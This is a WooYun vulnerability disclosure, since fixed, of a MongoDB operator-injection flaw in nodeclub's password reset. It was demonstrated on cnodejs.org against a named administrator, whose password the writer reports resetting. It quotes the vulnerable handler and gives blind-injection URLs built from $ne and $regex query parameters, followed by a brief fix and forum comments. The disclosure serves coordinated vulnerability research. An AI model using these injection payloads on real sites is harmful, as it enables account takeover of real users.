当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0112230

漏洞标题:nodeclub注入漏洞可重置用户密码 (mongodb盲注,cnodejs.org为例)

相关厂商:cnodejs.org

漏洞作者: 多多关照

提交时间:2015-05-05 20:52

修复时间:2015-08-03 20:58

公开时间:2015-08-03 20:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-05: 细节已通知厂商并且等待厂商处理中
2015-05-05: 厂商已经确认,细节仅向厂商公开
2015-06-29: 细节向核心白帽子及相关领域专家公开
2015-07-09: 细节向普通白帽子公开
2015-07-19: 细节向实习白帽子公开
2015-08-03: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

详细说明:

这个nodeclub(https://github.com/cnodejs/nodeclub/)可能用的人不多,弄着玩一下
从github上下载nodeclub的源码。
\controllers\sign.js

exports.reset_pass = function (req, res, next) {
var key = req.query.key;
var name = req.query.name;
User.getUserByNameAndKey(name, key, function (err, user) {
if (!user) {
res.status(403);
return res.render('notify/notify', {error: '信息有误,密码无法重置。'});
}


可以看到,key和name未经判断进入了 User的 getUserByNameAndKey
\proxy\user.js

exports.getUserByNameAndKey = function (loginname, key, callback) {
User.findOne({loginname: loginname, retrieve_key: key}, callback);
};


为了测试这个问题,首先,我们把目标定为 cnodejs 的管理者之一 alsotang,从他的github上可以知道他的邮箱是 alsotang@gmail.com
然后在
https://cnodejs.org/search_pass
找回密码,

0.png


接着,根据之前的问题,不难简单的构造出以下请求。
https://cnodejs.org/reset_pass?name=alsotang&key[$ne]=111111111
其中,name是目标用户名,让key不等于1111111,
此时会返回一个正常的页面。

3.jpg


如果,我们随便设置一个key,例如:
https://cnodejs.org/reset_pass?name=alsotang&key=111111111
则会返回一个错误的页面:

4.png


如此一来,我们就可以对key参数通过 $regex来进行盲注。
例如:
https://cnodejs.org/reset_pass?name[$regex]=^alsotang&key[$regex]=^5
返回正常
https://cnodejs.org/reset_pass?name[$regex]=^alsotang&key[$regex]=^6
返回错误
https://cnodejs.org/reset_pass?name[$regex]=^alsotang&key[$regex]=^5f
返回正常
....
测试代码:
见“测试代码”部分。
运行程序后,

2.png


跑出的key:

5.png


然后拿着key去重置密码,密码被重置为 wooyun,登录后~~

6.png


漏洞证明:

见:https://cnodejs.org/user/alsotang 个人介绍。

修复方案:

exports.reset_pass = function (req, res, next) {
var key = req.query.key;
var name = req.query.name;
..
<-- 做处理,例如 validator.trim(req.query.key);

版权声明:转载请注明来源 多多关照@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-05-05 20:57

厂商回复:

一年前我与朋友干了这单:http://www.wooyun.org/bugs/wooyun-2010- 。也是 mongodb 的注入,没想到今天自己也被日了。T T
不过能被 @路人甲 黑,真是荣幸啊!

最新状态:

2015-05-05:已经修复啦~

2015-05-05:咦?上面的网址怎么出不来 http://www.wooyun.org/bugs/wooyun-2010-086474


漏洞评价:

评论

  1. 2015-05-05 18:56 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    太帅了!果断加精!

  2. 2015-05-05 19:12 | izy ( 普通白帽子 | Rank:111 漏洞数:22 | http://1zy.pw/)

    关注...

  3. 2015-05-05 19:22 | myhalo ( 普通白帽子 | Rank:281 漏洞数:55 | 所属团队:TSafe)

    关注

  4. 2015-05-05 20:05 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    mongodb盲注,mark

  5. 2015-05-05 20:34 | Black_Sun ( 路人 | 还没有发布任何漏洞 | 黑色阳光时刻照耀着我们)

    我是 cnode 站长 alsotang。。。妈蛋域名不在我手上,想认领都难。

  6. 2015-05-05 20:38 | Black_Sun ( 路人 | 还没有发布任何漏洞 | 黑色阳光时刻照耀着我们)

    搞错搞错。。在我手上。。马上认领

  7. 2015-05-05 20:55 | nextdoor ( 普通白帽子 | Rank:325 漏洞数:74 )

    mongdb盲注实例出现了

  8. 2015-05-05 21:23 | roker ( 普通白帽子 | Rank:357 漏洞数:108 )

    mark

  9. 2015-05-05 21:23 | zcy ( 实习白帽子 | Rank:93 漏洞数:15 )

    @Black_Sun 修复好了就公开给大家看看嘛

  10. 2015-05-05 22:43 | 孤零落叶寒 ( 普通白帽子 | Rank:162 漏洞数:26 | 今天的跌倒是是为了明天更好的站着)

    mark

  11. 2015-05-06 08:14 | 大漠長河 ( 实习白帽子 | Rank:43 漏洞数:7 | ̷̸̨̀͒̏̃ͦ̈́̾( 天龙源景区欢迎您...)

    疯狗赞赏的肯定不荣错过 收藏之。又一个白帽子沦为厂商,

  12. 2015-05-06 13:03 | xiaoL ( 普通白帽子 | Rank:361 漏洞数:67 | PKAV技术宅社区!Blog:http://www.xlixli....)

    过程相当精彩!

  13. 2015-05-09 12:32 | Focusstart ( 普通白帽子 | Rank:574 漏洞数:163 | 努力让某某某成为最幸福的女人!)

    二哥真是牛逼!

  14. 2015-05-09 15:00 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势,学思路。)

    厂商牛逼啊!!!

  15. 2015-05-10 00:00 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    厂商是 @0x_Jin

  16. 2015-05-10 13:49 | 0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999)

    @px1624 额 那是我基友.... 我并不是cnode的

  17. 2015-05-10 22:45 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @0x_Jin 额。。

  18. 2015-05-13 15:46 | 美囤妈妈(乌云厂商)

    新厂商入驻,欢迎各位白帽子光临!同时我们招聘安全主管,有兴趣的联系我!

  19. 2015-05-13 20:51 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    NB!

  20. 2015-06-07 09:43 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    @美囤妈妈 2015-05-17 给 小川 发送礼物 2015-05-16 给 bey0nd 发送礼物 2015-05-16 给 小龙 发送礼物 2015-05-16 给 milan 发送礼物 2015-05-16 给 Ton7BrEak 发送礼物 都送啥好东西了 有婴儿用品吗 打开主页没有挖洞的欲望到勾起了我疯狂购物的欲望 哈哈 不错的市场定位

  21. 2015-06-17 12:46 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势,学思路。)

    这都6.17了。还没有新状态

  22. 2015-06-30 11:40 | 美囤妈妈(乌云厂商)

    @abaddon 母婴垂直电商,婴儿用品必须有!

  23. 2015-08-04 10:33 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    这样可以注啊,头一次见

  24. 2015-08-06 13:43 | 黑色雨滴 ( 路人 | Rank:29 漏洞数:8 | 没有主页新手一个前来玩玩)

    碉堡了。。